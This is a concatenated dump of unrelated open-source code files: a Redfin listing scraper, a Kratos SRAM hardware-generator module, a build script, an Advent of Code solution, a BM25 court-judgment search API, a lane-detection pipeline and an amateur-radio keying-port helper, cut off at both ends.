'K' in s.get('gradeRanges').upper():\n return True\n if 'elementary' in s.get('name').lower():\n return True\n else:\n return False\n\n schools(html)\n property_details(html)\n react_json(html)\n if 'react_data' in info:\n propjson = info['react_data']\n keys = all_keys(propjson)\n sch = get_values(propjson, 'servingThisHomeSchools')\n print(sch)\n assert 0\n elem = filter(elementary_sch, sch)\n if elem:\n elem.sort(key=lambda e: int(e['greatSchoolsRating']))\n # elementary school name, score and distance\n info['schools'] = (elem[0].get('name'),\n elem[0].get('greatSchoolsRating'),\n elem[0].get('distanceInMiles'))\n print(info['schools'])\n return info\n\n\n# return tuple: ([cvs header], [cvs data])\ndef download_one_cvs(redfin, url):\n resp = redfin.get(url)\n assert(resp.status_code == 200)\n data = re.sub(r'URL \\([^\\)]+\\)', 'URL', resp.content)\n data = data.strip('\\n').strip('\\r').split('\\n')\n csv_header = data[0].strip('\\n').strip('\\r').split(',')\n csv_data = list(csv.reader(data[1:]))\n return (csv_header, csv_data)\n\n\ndef to_json(**kwargs):\n return json.dumps(kwargs)\n\n\ndef get_cvs(redfin):\n def _dl_one_cvs(url):\n return download_one_cvs(redfin, url)\n\n resp = redfin.get('/county/345/CA/Santa-Clara-County/filter/sort=lo-days,property-type=house+condo+townhouse,min-price=450k,max-price=900k')\n with open('all.html', 'w+') as f:\n f.write(resp.content)\n\n all_csv = map(_dl_one_cvs, dl_all)\n csv_header = all_csv[0][0]\n csv_data = list()\n for c in all_csv:\n csv_data += c[1]\n\n kache = cachedb.cache()\n kache.put('data:csv',\n to_json(csv_header=csv_header, csv_data=csv_data))\n with open('download_all.csv', 'w+') as f:\n csv_out = csv.writer(f, quoting=csv.QUOTE_NONNUMERIC)\n csv_out.writerow(csv_header)\n map(csv_out.writerow, csv_data)\n\n csvdata = CsvData(csv_header, csv_data)\n urls = [c[0] for c in csvdata.iter_by_fields('URL')]\n data_store = dict()\n data_store['csv_header'] = csv_header\n data_store['csv_data'] = csv_data\n data_store['details'] = dict()\n for url in urls:\n url = url.split('redfin.com')[1] if url.find('redfin.com') >= 0 else url\n data_store['details'][url] = details(fetch_details(redfin, url))\n\n with open('redfin_data_store.json', 'w+') as f:\n f.write(json.dumps(data_store))\n\n\ndef fetch_details(redfin, url):\n # use path instead:\n u = url\n if url.find('redfin.com') > 0:\n u = url.split('redfin.com')[1]\n print(u)\n fname = '%s.html' % md5.md5(u).hexdigest()\n fname = os.path.join('html', fname)\n if os.path.exists(fname):\n print(\"re-use pre-exiting HTML\", fname)\n return open(fname).read()\n else:\n resp = redfin.get(url)\n assert(resp.status_code == 200)\n resp.encoding = 'utf-8'\n html = resp.content\n with open(fname, mode='w+') as f:\n f.write(html)\n\n return html\n\n\ndef test_details():\n # url = '/CA/Milpitas/1605-Grand-Teton-Dr-95035/home/657528'\n url = '/CA/San-Jose/2202-Olivegate-Ln-95136/home/982929'\n fname = md5.md5(url).hexdigest()\n html = open('html/' + fname + '.html').read()\n details(html)\n\ntest_details()\n# redfin = Redfin()\n# status = redfin.login(os.environ.get('REDFIN_USER'), os.environ.get('REDFIN_PWD'))\n# print('login status:', status)\n# assert(status == 200)\n# get_cvs(redfin)\n#\n# redfin.save_cookies()\n","repo_name":"DavidPu/houses","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":10426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"33706562744","text":"from kratos import *\nfrom lake.modules.passthru import *\nfrom lake.modules.register_file import RegisterFile\nfrom lake.attributes.config_reg_attr import ConfigRegAttr\nfrom lake.attributes.range_group import RangeGroupAttr\nfrom lake.passes.passes import lift_config_reg\nfrom lake.attributes.formal_attr import FormalAttr, FormalSignalConstraint\nfrom lake.modules.sram_stub import SRAMStub\nfrom lake.modules.agg_sram_shared_sched_gen import AggSramSharedSchedGen\nfrom lake.modules.agg_sram_shared_addr_gen import AggSramSharedAddrGen\nfrom lake.utils.util import safe_wire, add_counter, decode\nimport kratos as kts\n\n\nclass StrgUBAggSRAMShared(Generator):\n def __init__(self,\n data_width=16, # CGRA Params\n mem_width=64,\n mem_depth=512,\n banks=1,\n input_addr_iterator_support=6,\n output_addr_iterator_support=6,\n input_sched_iterator_support=6,\n output_sched_iterator_support=6,\n config_width=16,\n # output_config_width=16,\n interconnect_input_ports=2, # Connection to int\n interconnect_output_ports=2,\n mem_input_ports=1,\n mem_output_ports=1,\n read_delay=1, # Cycle delay in read (SRAM vs Register File)\n rw_same_cycle=False, # Does the memory allow r+w in same cycle?\n addr_fifo_depth=4,\n delay_width=4,\n agg_height=4,\n tb_height=2):\n\n super().__init__(\"strg_ub_agg_sram_shared\")\n\n ##################################################################################\n # Capture constructor parameter...\n ##################################################################################\n self.fetch_width = mem_width // data_width\n self.interconnect_input_ports = interconnect_input_ports\n self.interconnect_output_ports = interconnect_output_ports\n self.agg_height = agg_height\n self.tb_height = tb_height\n self.mem_width = mem_width\n self.mem_depth = mem_depth\n self.config_width = config_width\n self.data_width = data_width\n self.input_addr_iterator_support = input_addr_iterator_support\n self.input_sched_iterator_support = input_sched_iterator_support\n self.addr_fifo_depth = addr_fifo_depth\n self.delay_width = delay_width\n\n self.default_iterator_support = 6\n self.default_config_width = 16\n self.sram_iterator_support = 6\n self.agg_rd_addr_gen_width = 8\n self.mem_addr_width = clog2(self.mem_depth)\n\n ##################################################################################\n # IO\n ##################################################################################\n self._clk = self.clock(\"clk\")\n self._rst_n = self.reset(\"rst_n\")\n\n self._agg_write_restart_in = self.input(\"agg_write_restart_in\", self.interconnect_input_ports)\n self._agg_write_in = self.input(\"agg_write_in\", self.interconnect_input_ports)\n self._agg_write_addr_l2b_in = self.input(\"agg_write_addr_l2b_in\", 2,\n size=self.interconnect_input_ports,\n packed=True,\n explicit_array=True)\n self._agg_write_mux_sel_in = self.input(\"agg_write_mux_sel_in\", max(clog2(self.default_iterator_support), 1),\n size=self.interconnect_input_ports,\n packed=True,\n explicit_array=True)\n self._sram_read_in = self.input(\"sram_read_in\", self.interconnect_input_ports)\n self._sram_read_addr_in = self.input(\"sram_read_addr_in\", self.mem_addr_width,\n size=self.interconnect_input_ports,\n packed=True,\n explicit_array=True)\n\n self._agg_sram_shared_addr_out = self.output(\"agg_sram_shared_addr_out\", self.mem_addr_width,\n size=self.interconnect_input_ports,\n packed=True,\n explicit_array=True)\n self._update_mode_out = self.output(\"update_mode_out\", 2,\n size=self.interconnect_input_ports,\n packed=True,\n explicit_array=True)\n\n # The SRAM write is just the OR reduction of the aggregator reads\n self._agg_read_out = self.output(\"agg_read_out\", self.interconnect_input_ports)\n self._agg_read = self.var(\"agg_read\", self.interconnect_input_ports)\n\n self.wire(self._agg_read_out, self._agg_read)\n\n ##################################################################################\n # AGG PATHS\n ##################################################################################\n for i in range(self.interconnect_input_ports):\n\n self.agg_iter_support = 6\n self.agg_addr_width = 4\n self.agg_range_width = 16\n\n # delay configuration register\n self._delay = self.input(f\"delay_{i}\", self.delay_width)\n self._delay.add_attribute(ConfigRegAttr(\"Delay cycles of agg_sram shared schedule\"))\n self._delay.add_attribute(FormalAttr(f\"{self._delay.name}_{i}\", FormalSignalConstraint.SOLVE))\n\n # linear or reuse mode configuration register\n self._mode = self.input(f\"mode_{i}\", 2)\n self._mode.add_attribute(ConfigRegAttr(\"Mode of agg_sram shared schedule or addressing\"))\n self._mode.add_attribute(FormalAttr(f\"{self._mode.name}_{i}\", FormalSignalConstraint.SOLVE))\n self.wire(self._mode, self._update_mode_out[i])\n\n # scheduler modules\n self.add_child(f\"agg_read_sched_gen_{i}\",\n AggSramSharedSchedGen(data_width=self.data_width,\n mem_width=self.mem_width,\n agg_range_width=self.agg_range_width,\n delay_width=self.delay_width,\n interconnect_input_ports=interconnect_input_ports,\n config_width=self.config_width),\n clk=self._clk,\n rst_n=self._rst_n,\n agg_write_restart=self._agg_write_restart_in[i],\n agg_write=self._agg_write_in[i],\n agg_write_addr_l2b=self._agg_write_addr_l2b_in[i],\n agg_write_mux_sel=self._agg_write_mux_sel_in[i],\n sram_read=self._sram_read_in,\n delay=self._delay,\n mode=self._mode,\n valid_output=self._agg_read[i])\n\n # scheduler modules\n self.add_child(f\"agg_sram_shared_addr_gen_{i}\",\n AggSramSharedAddrGen(height=self.mem_depth,\n addr_fifo_depth=self.addr_fifo_depth,\n interconnect_input_ports=interconnect_input_ports,\n config_width=self.mem_addr_width),\n clk=self._clk,\n rst_n=self._rst_n,\n step=self._agg_read[i],\n sram_read=self._sram_read_in,\n sram_read_addr=self._sram_read_addr_in,\n mode=self._mode,\n addr_out=self._agg_sram_shared_addr_out[i])\n\n\nif __name__ == \"__main__\":\n lake_dut = StrgUBAggSRAMShared()\n verilog(lake_dut, filename=\"strg_ub_agg_sram_shared.sv\",\n optimize_if=False,\n additional_passes={\"lift config regs\": lift_config_reg})\n","repo_name":"bbPeng98/DSE-framework-of-PRAD","sub_path":"MetaMapper/MetaMapper/src/lake-aha/lake/modules/agg_sram_shared.py","file_name":"agg_sram_shared.py","file_ext":"py","file_size_in_byte":8325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32255842984","text":"Import([\"env\", \"libDBGp\"])\r\n\r\nprog = env.Program(target=\"TestApp\", \r\n\tsource=[\r\n\t\t\"App.cpp\",\r\n\t\t\"TestApp.cpp\",\r\n\t\t\"TestFrameHandler.cpp\",\r\n\t\tlibDBGp\r\n\t]\r\n)\r\n\r\nenv.Alias(\"TestApp\", prog)\r\nenv.Clean(prog, [\r\n\t\t\"TestApp.exe.manifest\",\r\n\t\t\"TestApp.ilk\",\r\n\t\t\"TestApp.pdb\"\r\n\t\t])\r\n\r\n# vim:set ts=8 sw=8 noet nocin ai ft=python:\r\n","repo_name":"LawnGnome/dubnium","sub_path":"src/TestApp/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"23010296911","text":"import helpers\n\ndef parse_input(lines):\n return map(lambda x: int(x), lines)\n\ndef solve(data):\n s = set()\n for n in data:\n if 2020 - n in s:\n return n * (2020-n)\n s.add(n)\n return None\n\nsolver = helpers.Solver(parse_input, solve)\n\ndef test():\n solver.test_solution(\n lines=['1721','979','366','299','675','1456'],\n expected=514579,\n )\n\ntest()\nprint(solver.solve(file=\"1.input.txt\"))\n","repo_name":"roaclark/advent-of-code-2020","sub_path":"1.1.solution.py","file_name":"1.1.solution.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73612085361","text":"from datetime import datetime\nimport time\nfrom flask import request\nimport pandas as pd\nimport numpy as np\nfrom rank_bm25 import BM25Okapi\nfrom gensim.parsing.preprocessing import preprocess_documents, preprocess_string\nfrom deep_translator import GoogleTranslator\nfrom API.synonym import find_synonyms\nfrom database.createDB import cursor, db\n\npd.options.display.max_colwidth=160\ncursor = db.cursor(dictionary=True)\n\nquery = \"SELECT j.uid, j.judgment_number, j.judgment_name, j.type_document, j.judgment_level, j.judgment_content, j.date_issued, j.date_upload, j.url, j.pdf_viewer, j.file_download, j.corrections, j.count_vote, j.count_eyes, j.count_download, jc.court_name, ja.case_name, ja.case_type, jc.court_level, j.precedent FROM court.judgment j LEFT JOIN court.court jc ON j.court_uid = jc.uid LEFT JOIN court.case ja ON j.case_uid = ja.uid WHERE j.state = 1;\"\ncursor.execute(query)\njudgments = cursor.fetchall()\nnumber_judgment = len(judgments) \njudgment_tokens = []\ncorpus = []\nfor judgment in judgments:\n corpus.append(judgment[\"judgment_content\"])\n judgment_tokens.append(preprocess_string(judgment[\"judgment_content\"]))\nbm25_index = BM25Okapi(judgment_tokens)\n\ndef search(search_string, num_results):\n search_tokens = preprocess_string(search_string)\n scores = bm25_index.get_scores(search_tokens)\n top_indexes = np.argsort(scores)[::-1][1:num_results]\n return top_indexes\n \ndef search_list(search_list, num_results):\n list_scores = []\n print(\"Bắt đầu tìm kiếm-----------\")\n for search_string in search_list:\n print(search_string)\n search_tokens = preprocess_string(search_string)\n scores = bm25_index.get_scores(search_tokens)\n list_scores.extend(scores)\n print(np.sort(list_scores)[::-1][:num_results]) \n top_indexes = np.argsort(list_scores)[::-1][:num_results]\n print(\"Kết thúc tìm kiếm-----------\")\n for i in range(len(top_indexes)):\n top_indexes[i] = top_indexes[i] % number_judgment\n return set(top_indexes)\n\ndef recommendation(): \n try: \n indexes = search(request.args.get('content', type=str), 11)\n data = []\n for index in indexes:\n data.append(judgments[index])\n \n return data\n except:\n print(\"An exception occurred\")\n return None\n\ndef search_judgments():\n try:\n print(\"Bắt đầu tìm kiếm theo BM25.........\")\n filter = request.get_json()\n # Dịch nội dung tìm kiếm sang tiếng Anh để tìm từ đồng nghĩa\n translatorEnToVi = GoogleTranslator(source='en', target='vi')\n translatorViToEn = GoogleTranslator(source='vi', target='en')\n content_filter = filter['judgment_content']\n time.sleep(0.01)\n content_filter_english = translatorViToEn.translate(content_filter)\n print(content_filter_english)\n\n new_sentences = find_synonyms(content_filter_english)\n new_sentences_trans = set()\n new_sentences_trans.add(content_filter)\n \n for new_sentence in new_sentences:\n sentence_trans = translatorEnToVi.translate(new_sentence)\n if sentence_trans != content_filter:\n new_sentences_trans.add(sentence_trans)\n for i in new_sentences_trans:\n print(i) \n indexes = search_list(new_sentences_trans, 25)\n # indexes = search(content_filter, 50)\n \n data = []\n for index in indexes:\n check = True\n if filter['court_level'] != None and filter['court_level'] != '' and judgments[index]['court_level'] != filter['court_level']:\n check = False\n if filter['judgment_level'] != None and filter['judgment_level'] != '' and judgments[index]['judgment_level'] != filter['judgment_level']: \n check = False\n if filter['type_document'] != None and filter['type_document'] != '' and judgments[index]['type_document'] != filter['type_document']: \n check = False\n if filter['case_type'] != None and filter['case_type'] != '' and judgments[index]['case_type'] != filter['case_type']: \n check = False\n if filter['date_from'] != None and filter['date_from'] != '' and judgments[index]['date_issued'] < datetime.strptime(filter['date_from'], '%Y-%m-%d').date():\n check = False\n if filter['date_to'] != None and filter['date_to'] != '' and judgments[index]['date_issued'] > datetime.strptime(filter['date_to'], '%Y-%m-%d').date():\n check = False\n if filter['precedent'] != None and filter['precedent'] != '' and (filter['precedent'] != True or judgments[index]['precedent'] == 0):\n check = False\n if filter['vote'] != None and filter['vote'] != '' and (filter['vote'] != True or judgments[index]['count_vote'] == 0):\n check = False\n if check:\n data.append(judgments[index])\n \n return data\n except:\n print(\"An exception occurred\")\n return None\n\n\n","repo_name":"tranhien2801/SJ_CrawlData","sub_path":"API/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21721977909","text":"from moviepy.editor import VideoFileClip\nimport numpy as np\nimport cv2\nimport glob\nimport matplotlib.image as mpimg\n\n\ndef calibrate():\n images = glob.glob('camera_cal/calibration*.jpg')\n objpoints = []\n imgpoints = []\n dim = (9, 6)\n objp = np.zeros((dim[0] * dim[1], 3), np.float32)\n objp[:, :2] = np.mgrid[0:dim[0], 0:dim[1]].T.reshape(-1, 2)\n\n for fname in images:\n img = mpimg.imread(fname)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, corners = cv2.findChessboardCorners(gray, dim, None)\n if ret:\n imgpoints.append(corners)\n objpoints.append(objp)\n\n ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1], None, None)\n return mtx, dist\n\n\ndef undistort(img, mtx, dist):\n undistorted = cv2.undistort(img, mtx, dist, None, mtx)\n return undistorted\n\n\ndef region_of_interest(img):\n \"\"\"\n Applies an image mask.\n\n Only keeps the region of the image defined by the polygon\n formed from vertices. The rest of the image is set to black.\n \"\"\"\n\n # defining a blank mask to start with\n mask = np.zeros_like(img)\n img_height, img_width = img.shape[0], img.shape[1]\n # Defining region of interest\n vertices = np.array([[(50, img_height), (img_width / 2, img_height / 2),\n (img_width / 2, img_height / 2),\n (img_width - 50, img_height)]], dtype=np.int32)\n # defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n if len(img.shape) > 2:\n ignore_mask_color = (255,) * img.shape[2] # i.e. 3 or 4 depending on your image\n else:\n ignore_mask_color = 255\n\n # filling pixels inside the polygon defined by \"vertices\" with the fill color\n cv2.fillPoly(mask, vertices, ignore_mask_color)\n\n # returning the image only where mask pixels are nonzero\n masked_image = cv2.bitwise_and(img, mask)\n return masked_image\n\n\n# Binarize channels\ndef binarize_channels(pixels, thresh_min, thresh_max):\n binarized = np.zeros_like(pixels)\n binarized[(pixels >= thresh_min) & (pixels <= thresh_max)] = 1\n return binarized\n\n\ndef draw_lane(img, warped_img, left_fitx, right_fitx, ploty, Minv):\n warp_zero = np.zeros_like(warped_img).astype(np.uint8)\n color_warp = np.dstack((warp_zero, warp_zero, warp_zero))\n # Recast the x and y points into usable format for cv2.fillPoly()\n pts_left = np.array([np.transpose(np.vstack([left_fitx, ploty]))])\n pts_right = np.array([np.flipud(np.transpose(np.vstack([right_fitx, ploty])))])\n pts = np.hstack((pts_left, pts_right))\n\n # Draw the lane onto the warped blank image\n cv2.fillPoly(color_warp, np.int_([pts]), (0, 255, 0))\n\n # Warp the blank back to original image space using inverse perspective matrix (Minv)\n newwarp = cv2.warpPerspective(color_warp, Minv, (img.shape[1], img.shape[0]))\n # Combine the result with the original image\n final = cv2.addWeighted(img, 1, newwarp, 0.3, 0)\n return final\n\n\ndef draw_src_dst(img, src):\n img_polygon = np.copy(img)\n cv2.polylines(img_polygon, [np.array(src, dtype=np.int32).reshape((-1, 1, 2))], True, (255, 0, 0), 5)\n return img_polygon\n\n\ndef fit_polynomial(warped, img_height):\n\n histogram = np.sum(warped[img_height // 2:, :], axis=0)\n\n # Find the peak of the left and right halves of the histogram\n # These will be the starting point for the left and right lines\n midpoint = np.int(histogram.shape[0] / 2)\n leftx_base = np.argmax(histogram[:midpoint])\n rightx_base = np.argmax(histogram[midpoint:]) + midpoint\n\n # Choose the number of sliding windows\n nwindows = 10\n # Set height of windows\n window_height = np.int(img_height / nwindows)\n # Identify the x and y positions of all nonzero pixels in the image\n nonzero = warped.nonzero()\n nonzeroy, nonzerox = np.array(nonzero[0]), np.array(nonzero[1])\n\n temp = np.zeros_like(warped)\n temp[np.nonzero(warped)] = 255\n out_img = np.dstack((temp, temp, temp))\n out_img = out_img.astype('uint8')\n\n # Current positions to be updated for each window\n leftx_current = leftx_base\n rightx_current = rightx_base\n # Set the width of the windows +/- margin\n margin = 100\n # Set minimum number of pixels found to recenter window\n minpix = 50\n # Create empty lists to receive left and right lane pixel indices\n left_lane_inds = []\n right_lane_inds = []\n\n # Step through the windows one by one\n for window in range(nwindows):\n # Identify window boundaries in x and y (and right and left)\n win_y_low = img_height - (window + 1) * window_height\n win_y_high = img_height - window * window_height\n win_xleft_low = leftx_current - margin\n win_xleft_high = leftx_current + margin\n win_xright_low = rightx_current - margin\n win_xright_high = rightx_current + margin\n\n # Draw the windows on the visualization image\n cv2.rectangle(out_img, (win_xleft_low, win_y_low), (win_xleft_high, win_y_high), (0, 255, 0), 2)\n cv2.rectangle(out_img, (win_xright_low, win_y_low), (win_xright_high, win_y_high), (0, 255, 0), 2)\n\n # Identify the nonzero pixels in x and y within the window\n good_left_inds = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) &\n (nonzerox >= win_xleft_low) & (nonzerox < win_xleft_high)).nonzero()[0]\n good_right_inds = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) &\n (nonzerox >= win_xright_low) & (nonzerox < win_xright_high)).nonzero()[0]\n # Append these indices to the lists\n left_lane_inds.append(good_left_inds)\n right_lane_inds.append(good_right_inds)\n # If you found > minpix pixels, recenter next window on their mean position\n if len(good_left_inds) > minpix:\n leftx_current = np.int(np.mean(nonzerox[good_left_inds]))\n if len(good_right_inds) > minpix:\n rightx_current = np.int(np.mean(nonzerox[good_right_inds]))\n\n # Concatenate the arrays of indices\n left_lane_inds = np.concatenate(left_lane_inds)\n right_lane_inds = np.concatenate(right_lane_inds)\n\n # Extract left and right line pixel positions\n leftx = nonzerox[left_lane_inds]\n lefty = nonzeroy[left_lane_inds]\n rightx = nonzerox[right_lane_inds]\n righty = nonzeroy[right_lane_inds]\n\n # Fit a second order polynomial to each\n left_fit = np.polyfit(lefty, leftx, 2)\n right_fit = np.polyfit(righty, rightx, 2)\n\n ploty = np.linspace(0, img_height - 1, img_height)\n left_fitx = left_fit[0] * ploty ** 2 + left_fit[1] * ploty + left_fit[2]\n right_fitx = right_fit[0] * ploty ** 2 + right_fit[1] * ploty + right_fit[2]\n out_img[nonzeroy[left_lane_inds], nonzerox[left_lane_inds]] = [255, 0, 0]\n out_img[nonzeroy[right_lane_inds], nonzerox[right_lane_inds]] = [0, 0, 255]\n\n # Calculate curvature radius\n y_eval = np.max(ploty)\n # Define conversions in x and y from pixels space to meters\n lane_width = (left_fitx - right_fitx)[-1]\n xm_per_pix = 3.7 / lane_width # meters per pixel in x dimension\n ym_per_pix = 30 / 720 # meters per pixel in y dimension\n\n # Fit new polynomials to x,y in world space\n left_fit_cr = np.polyfit(ploty * ym_per_pix, left_fitx * xm_per_pix, 2)\n right_fit_cr = np.polyfit(ploty * ym_per_pix, right_fitx * xm_per_pix, 2)\n # Calculate the new radii of curvature\n left_curverad = ((1 + (2 * left_fit_cr[0] * y_eval * ym_per_pix + left_fit_cr[1]) ** 2) ** 1.5) / np.absolute(2 * left_fit_cr[0])\n right_curverad = ((1 + (2 * right_fit_cr[0] * y_eval * ym_per_pix + right_fit_cr[1]) ** 2) ** 1.5) / np.absolute(2 * right_fit_cr[0])\n\n # Calculate deviation from the center\n camera_position = out_img.shape[1] / 2\n center_offset_meters = (camera_position - ((left_fitx[-1] + right_fitx[-1]) / 2)) * xm_per_pix\n return ploty, left_fitx, right_fitx, left_curverad, right_curverad, center_offset_meters, out_img\n\n\ndef annotate_image(img, left_curverad, right_curverad, offset):\n annotated = np.copy(img)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(annotated, 'Left Radius: {0:.2f}m'.format(left_curverad),\n (850, 50), font, 1, (255, 255, 255), 2, cv2.LINE_AA)\n cv2.putText(annotated, 'Right Radius: {0:.2f}m'.format(right_curverad),\n (850, 100), font, 1, (255, 255, 255), 2, cv2.LINE_AA)\n cv2.putText(annotated, 'Off Center: {0:.2f}m'.format(offset),\n (850, 150), font, 1, (255, 255, 255), 2, cv2.LINE_AA)\n return annotated\n\n\ndef compose_final(img, img1, img2, img3, img4):\n sub_w, sub_h = 266, 150\n final_img = np.copy(img)\n final_img[0:sub_h, 0:sub_w] = cv2.resize(img1, (sub_w, sub_h), interpolation=cv2.INTER_AREA)\n final_img[0:sub_h, sub_w:sub_w * 2] = cv2.resize(img2, (sub_w, sub_h), interpolation=cv2.INTER_AREA)\n final_img[sub_h:sub_h * 2, 0:sub_w] = cv2.resize(img3, (sub_w, sub_h), interpolation=cv2.INTER_AREA)\n final_img[sub_h:sub_h * 2, sub_w:sub_w * 2] = cv2.resize(img4, (sub_w, sub_h), interpolation=cv2.INTER_AREA)\n return final_img\n\n\ndef process_image(img):\n mtx, dist = calibrate()\n img = undistort(img, mtx, dist)\n img_width, img_height = img.shape[1], img.shape[0]\n r_channel, g_channel, b_channel = img[:, :, 0], img[:, :, 1], img[:, :, 2]\n\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS).astype(np.float)\n h_channel, l_channel, s_channel = hls[:, :, 0], hls[:, :, 1], hls[:, :, 2]\n\n s_binary = binarize_channels(s_channel, 150, 255)\n r_binary = binarize_channels(r_channel, 230, 255)\n g_binary = binarize_channels(g_channel, 150, 255)\n l_binary = binarize_channels(l_channel, 140, 255)\n\n # Combine the two binary thresholds\n combined_binary = np.zeros_like(s_binary)\n combined_binary[(g_binary == 1) & (r_binary == 1) | ((s_binary == 1) & (l_binary == 1))] = 1\n combined_binary = region_of_interest(combined_binary)\n\n src = np.float32([[(203, 720), (585, 460), (695, 460), (1127, 720)]])\n dst = np.float32([[(320, 720), (320, 0), (960, 0), (960, 720)]])\n\n img_with_src = draw_src_dst(img, src)\n\n M = cv2.getPerspectiveTransform(src, dst)\n Minv = cv2.getPerspectiveTransform(dst, src)\n\n binary_warped = cv2.warpPerspective(combined_binary, M,\n dsize=(img_width, img_height),\n flags=cv2.INTER_LINEAR)\n\n color_warped = cv2.warpPerspective(img, M,\n dsize=(img_width, img_height),\n flags=cv2.INTER_LINEAR)\n color_warped = draw_src_dst(color_warped, dst)\n\n ploty, left_fitx, right_fitx, left_curverad, right_curverad, center_offset_meters, out_img = fit_polynomial(binary_warped, img_height=img_height)\n lane_img = draw_lane(img, binary_warped, left_fitx, right_fitx, ploty, Minv)\n annotated = annotate_image(lane_img, left_curverad, right_curverad, center_offset_meters)\n combined_binary_temp = np.zeros_like(combined_binary).astype('uint8')\n combined_binary_temp[np.nonzero(combined_binary)] = 255\n combined_binary_stacked = np.dstack((combined_binary_temp, combined_binary_temp, combined_binary_temp))\n final = compose_final(img=annotated, img1=img_with_src,\n img2=combined_binary_stacked, img3=color_warped, img4=out_img)\n return final\n\n\nvideo_filename = 'project'\nclip1 = VideoFileClip(video_filename + '_video.mp4')\nclip_out = clip1.fl_image(process_image)\nclip_out.write_videofile(video_filename + '_video_out.mp4', audio=False)\n","repo_name":"johangithub/carnd-advanced-lane-lines","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":11608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36999889391","text":"import sys\nfrom nano_io import *\nfrom rig_io.ft_tables import *\n\n################################################################################\n\nclass serial_dummy():\n def __init__(self):\n print('Serial dummy object substituted')\n self.out_waiting=0\n return\n\n def setDTR(self,a):\n return\n\n def write(self,a=None,b=None):\n return\n\ndef toggle_dtr(n=1):\n print('Toggling DTR ...')\n for i in range(n):\n time.sleep(1)\n print('DTR on')\n ser.setDTR(True)\n \n time.sleep(1)\n print('DTR off')\n ser.setDTR(False)\n \n #sys.exit(0)\n\n\n\n# Function to open keying control port\ndef open_keying_port(P,sock,rig_num):\n if not sock:\n return None\n \n print('Opening keying port ...',sock.rig_type,sock.rig_type2)\n if P.NANO_IO and rig_num==1:\n try:\n ser = open_nano(baud=NANO_BAUD)\n except Exception as e: \n print( str(e) )\n print('\\n*************************************')\n print( '*** Unable to open Nano IO device ***')\n print( '*** Make sure it is plugged in ***')\n print( '*** and that no app is using it ***')\n print( '*************************************')\n print( '*** Giving up ***')\n print('*************************************\\n')\n sys.exit(0)\n\n elif sock.rig_type2=='TS850':\n if P.PRACTICE_MODE and False:\n ser=serial_dummy()\n elif sock.connection=='DIRECT':\n ser = sock.s\n else:\n ser = serial.Serial(SERIAL_PORT5,4800,timeout=0.1)\n \n ser.setDTR(False)\n #toggle_dtr(5)\n #sys.exit(0)\n \n elif sock.rig_type=='Icom' or \\\n (sock.rig_type=='Hamlib' and sock.rig_type2 in ['IC9700','IC7300']) or \\\n (sock.rig_type=='FLRIG' and sock.rig_type2 in ['IC9700','IC7300']):\n\n if P.PRACTICE_MODE:\n ser=serial_dummy()\n \n elif sock.rig_type2 in ['IC9700','IC7300']:\n # If direct connect, could use USB A ...\n #ser = P.sock.s\n # but, in general, we'll use USB B in case we are using hamlib for rig control\n print('OPEN KEYING PORT:',SERIAL_PORT10,BAUD)\n try:\n #port=SERIAL_PORT10 # Old\n port=find_serial_device(sock.rig_type2,1,VERBOSITY=1)\n ser = serial.Serial(port,BAUD,timeout=0.1,dsrdtr=0,rtscts=0)\n print('OPEN KEYING PORT: Sock Init...')\n sock.init_keyer()\n time.sleep(.1)\n ser.setDTR(False)\n ser.setRTS(False) \n time.sleep(1)\n ser.setDTR(False)\n ser.setRTS(False) \n except Exception as e: \n print( str(e) )\n print('\\n*************************************')\n print('Unable to open keying port for rig',rig_num)\n print('*************************************')\n ser=None\n sys.exit(0)\n \n else:\n # DTR keying does not work for the IC706\n # Instead, we need to connect the TS850 interface to the keying line\n # It looks like DTR keying is supported by the IC9700 - needs work\n \n print('Opening keying port on IC706 ...')\n ser = serial.Serial(SERIAL_PORT5,19200,timeout=0.1)\n ser.setDTR(False)\n print('... Opened keying port on IC706 ...')\n\n if False:\n toggle_dtr()\n \n else:\n\n if not P.PRACTICE_MODE:\n\n if sock.rig_type2=='FT991a':\n \n #port=SERIAL_PORT4 # Old\n port=find_serial_device('FT991a',1,VERBOSITY=1)\n ser = serial.Serial(port,BAUD,timeout=0.1,dsrdtr=0,rtscts=0)\n ser.setDTR(True)\n time.sleep(.02)\n ser.setDTR(False)\n ser.setRTS(False) # Digi mode uses this for PTT?\n\n if sock.connection=='DIRECT' or True:\n # This type of command doesn't work for most versions of hamlib\n cmd = 'BY;EX0603;EX0561;' # Set DTR keying and full QSK\n buf=sock.get_response(cmd)\n \n ser.PORT = SERIAL_PORT4\n ser.BAUD = BAUD\n\n if False:\n print('buf=',buf)\n time.sleep(1)\n print('DTR off')\n ser.setDTR(False)\n time.sleep(1)\n print('DTR on')\n ser.setDTR(True)\n time.sleep(1)\n print('DTR off')\n ser.setDTR(False)\n time.sleep(1)\n sys.exit(0)\n \n elif sock.rig_type2=='FTdx3000':\n\n #port=SERIAL_PORT2 # Old\n port=find_serial_device('FTdx3000',1,VERBOSITY=1)\n ser = serial.Serial(port,BAUD,timeout=0.1)\n ser.setDTR(False)\n ser.PORT = SERIAL_PORT2\n ser.BAUD = BAUD\n\n elif sock.rig_type2 in ['None','TYT9000d']:\n ser=serial_dummy()\n\n else:\n 